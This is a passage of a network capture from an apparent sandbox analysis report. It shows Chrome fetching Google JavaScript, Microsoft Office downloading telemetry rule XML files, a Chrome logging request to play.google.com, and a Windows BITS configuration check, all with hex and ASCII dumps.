a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-16 22:36:21 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-16 22:36:21 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-16 22:36:21 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-16 22:36:22 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223622Z-1866b5c5fbblmqrkhC1DFWf9ns00000001e000000000mgep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: c0944ef9-c01e-007a-107c-37b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223622Z-164f84587bf7k72dhC1DFWvczs00000003cg00000000fcbx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 664ceb09-201e-0085-50bf-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223622Z-1866b5c5fbbx98hfhC1DFWuqmg000000022000000000nmqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:22 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223622Z-16547b76f7fzwxm2hC1DFWt5hw00000001400000000003nv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223622Z-16547b76f7fz92z5hC1DFWmdx800000001ng00000000ktdx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:22 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49733	142.250.186.174	443	3772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:22 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 22:36:22 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 37 39 36 35 38 30 30 32 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731796580025",null,null,null,
2024-11-16 22:36:22 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=0GIDtANkq0QHCfKf-UWOnDiykAw4WQkpnym-ukhlXcylf9g22HW8HAuYORcM-rSqWk1su0_Bvjt7j5urxv13O5RarqWdD5NT8lUwxUesRO8c90EGfWAEtvpQB57LUcNs5K8pZYq_jGBm-W_9OLhb4KWuYF71puSVIT8thkfX3aZFQ4KBv0nIANVG; expires=Sun, 18-May-2025 22:36:22 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 16 Nov 2024 22:36:22 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 16 Nov 2024 22:36:22 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-16 22:36:22 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-16 22:36:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49736	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 22:36:23 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=65347 Date: Sat, 16 Nov 2024 22:36:22 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223623Z-16547b76f7fz92z5hC1DFWmdx800000001mg00000000pnhu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223623Z-16547b76f7fp6s5dhC1DFWe28g00000000pg00000000batf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" 